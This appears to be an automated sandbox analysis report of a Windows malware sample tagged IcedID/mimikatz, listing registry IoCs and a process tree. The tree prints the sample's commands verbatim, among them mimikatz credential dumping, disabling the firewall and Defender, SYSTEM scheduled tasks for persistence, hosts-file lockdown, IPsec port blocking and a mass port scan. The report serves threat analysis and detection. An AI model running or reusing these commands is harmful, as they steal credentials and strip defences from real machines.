\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" gelcitubi.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump gelcitubi.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump gelcitubi.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ee-3e-b5-d5-ce-ce\WpadDecisionTime = 504928373b9ada01 bstalsu.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bstalsu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" bstalsu.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 bstalsu.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E} bstalsu.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{0259B94D-9A58-4CC3-AA69-93CEB320489E}\WpadDecision = "0" bstalsu.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ bstalsu.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ bstalsu.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" bstalsu.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 bstalsu.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 bstalsu.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 3000 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 2460 bstalsu.exe 1812 bstalsu.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2668 bstalsu.exe Token: SeDebugPrivilege 2908 bstalsu.exe Token: SeDebugPrivilege 656 vfshost.exe Token: SeAuditPrivilege 1200 svchost.exe Token: SeDebugPrivilege 1720 gelcitubi.exe Token: SeShutdownPrivilege 1720 gelcitubi.exe Token: SeLockMemoryPrivilege 408 bacyfi.exe Token: SeLockMemoryPrivilege 408 bacyfi.exe Token: SeDebugPrivilege 1940 gelcitubi.exe Token: SeShutdownPrivilege 1940 gelcitubi.exe Token: SeDebugPrivilege 2208 gelcitubi.exe Token: SeShutdownPrivilege 2208 gelcitubi.exe Token: SeDebugPrivilege 1632 gelcitubi.exe Token: SeShutdownPrivilege 1632 gelcitubi.exe Token: SeDebugPrivilege 1904 gelcitubi.exe Token: SeShutdownPrivilege 1904 gelcitubi.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 2668 bstalsu.exe 2668 bstalsu.exe 2908 bstalsu.exe 2908 bstalsu.exe 532 xohudmc.exe 1392 koaaya.exe 2460 bstalsu.exe 2460 bstalsu.exe 1812 bstalsu.exe 1812 bstalsu.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2248 wrote to memory of 1896 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 28 PID 2248 wrote to memory of 1896 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 28 PID 2248 wrote to memory of 1896 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 28 PID 2248 wrote to memory of 1896 2248 2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe 28 PID 1896 wrote to memory of 3000 1896 cmd.exe 30 PID 1896 wrote to memory of 3000 1896 cmd.exe 30 PID 1896 wrote to memory of 3000 1896 cmd.exe 30 PID 1896 wrote to memory of 3000 1896 cmd.exe 30 PID 1896 wrote to memory of 2668 1896 cmd.exe 31 PID 1896 wrote to memory of 2668 1896 cmd.exe 31 PID 1896 wrote to memory of 2668 1896 cmd.exe 31 PID 1896 wrote to memory of 2668 1896 cmd.exe 31 PID 2908 wrote to memory of 2688 2908 bstalsu.exe 33 PID 2908 wrote to memory of 2688 2908 bstalsu.exe 33 PID 2908 wrote to memory of 2688 2908 bstalsu.exe 33 PID 2908 wrote to memory of 2688 2908 bstalsu.exe 33 PID 2688 wrote to memory of 2192 2688 cmd.exe 35 PID 2688 wrote to memory of 2192 2688 cmd.exe 35 PID 2688 wrote to memory of 2192 2688 cmd.exe 35 PID 2688 wrote to memory of 2192 2688 cmd.exe 35 PID 2688 wrote to memory of 2856 2688 cmd.exe 36 PID 2688 wrote to memory of 2856 2688 cmd.exe 36 PID 2688 wrote to memory of 2856 2688 cmd.exe 36 PID 2688 wrote to memory of 2856 2688 cmd.exe 36 PID 2688 wrote to memory of 2328 2688 cmd.exe 37 PID 2688 wrote to memory of 2328 2688 cmd.exe 37 PID 2688 wrote to memory of 2328 2688 cmd.exe 37 PID 2688 wrote to memory of 2328 2688 cmd.exe 37 PID 2688 wrote to memory of 2684 2688 cmd.exe 38 PID 2688 wrote to memory of 2684 2688 cmd.exe 38 PID 2688 wrote to memory of 2684 2688 cmd.exe 38 PID 2688 wrote to memory of 2684 2688 cmd.exe 38 PID 2688 wrote to memory of 2640 2688 cmd.exe 39 PID 2688 wrote to memory of 2640 2688 cmd.exe 39 PID 2688 wrote to memory of 2640 2688 cmd.exe 39 PID 2688 wrote to memory of 2640 2688 cmd.exe 39 PID 2688 wrote to memory of 2408 2688 cmd.exe 40 PID 2688 wrote to memory of 2408 2688 cmd.exe 40 PID 2688 wrote to memory of 2408 2688 cmd.exe 40 PID 2688 wrote to memory of 2408 2688 cmd.exe 40 PID 2908 wrote to memory of 2476 2908 bstalsu.exe 41 PID 2908 wrote to memory of 2476 2908 bstalsu.exe 41 PID 2908 wrote to memory of 2476 2908 bstalsu.exe 41 PID 2908 wrote to memory of 2476 2908 bstalsu.exe 41 PID 2908 wrote to memory of 3016 2908 bstalsu.exe 43 PID 2908 wrote to memory of 3016 2908 bstalsu.exe 43 PID 2908 wrote to memory of 3016 2908 bstalsu.exe 43 PID 2908 wrote to memory of 3016 2908 bstalsu.exe 43 PID 2908 wrote to memory of 904 2908 bstalsu.exe 45 PID 2908 wrote to memory of 904 2908 bstalsu.exe 45 PID 2908 wrote to memory of 904 2908 bstalsu.exe 45 PID 2908 wrote to memory of 904 2908 bstalsu.exe 45 PID 2908 wrote to memory of 2784 2908 bstalsu.exe 47 PID 2908 wrote to memory of 2784 2908 bstalsu.exe 47 PID 2908 wrote to memory of 2784 2908 bstalsu.exe 47 PID 2908 wrote to memory of 2784 2908 bstalsu.exe 47 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 2784 wrote to memory of 1572 2784 cmd.exe 49 PID 1572 wrote to memory of 836 1572 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1072
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C:\Windows\TEMP\mlalgeqgl\bacyfi.exe"C:\Windows\TEMP\mlalgeqgl\bacyfi.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:408
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C:\Users\Admin\AppData\Local\Temp\2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-29_acf4f0e0aee4ebf4d50a8715fb573e37_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\uczbcelu\bstalsu.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3000
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C:\Windows\uczbcelu\bstalsu.exeC:\Windows\uczbcelu\bstalsu.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2668
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C:\Windows\uczbcelu\bstalsu.exeC:\Windows\uczbcelu\bstalsu.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2908 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2192
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2856
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2328
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2684
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2640
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2408
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2476
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵PID:3016
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:904
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\apaubnhnu\liyusunlc\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\apaubnhnu\liyusunlc\wpcap.exeC:\Windows\apaubnhnu\liyusunlc\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:836
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:1268
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1760
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2388
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1012
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:340
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2876
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:3004
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:1564
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2012
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1644
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2560
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:1880
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2840
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\apaubnhnu\liyusunlc\ilclyhugu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\apaubnhnu\liyusunlc\Scant.txt2⤵
- Loads dropped DLL
PID:476 -
C:\Windows\apaubnhnu\liyusunlc\ilclyhugu.exeC:\Windows\apaubnhnu\liyusunlc\ilclyhugu.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\apaubnhnu\liyusunlc\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:584
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\apaubnhnu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\apaubnhnu\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:748 -
C:\Windows\apaubnhnu\Corporate\vfshost.exeC:\Windows\apaubnhnu\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:656
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fczbteigz" /ru system /tr "cmd /c C:\Windows\ime\bstalsu.exe"2⤵PID:352
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1768
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "fczbteigz" /ru system /tr "cmd /c C:\Windows\ime\bstalsu.exe"3⤵
- Creates scheduled task(s)
PID:2072
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "cecmluuiq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F"2⤵PID:2144
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1176
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "cecmluuiq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\uczbcelu\bstalsu.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1612
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eiihnyruh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F"2⤵PID:1672
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2920
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eiihnyruh" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\mlalgeqgl\bacyfi.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1968
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:1816
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:1608
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:940
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:1984
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2748
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2192
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2408
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2460
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2476
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:3016
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2132
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2704
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1664
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1268
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:1544
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:1584
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
PID:2116
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:1312
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:1196
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:340
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:1908
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2872
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2836
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:1948
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:1952
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:2820
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:1564
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1916
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2016
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:1932
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C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:2316
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:2840
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C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:2876
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:1644
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C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2952
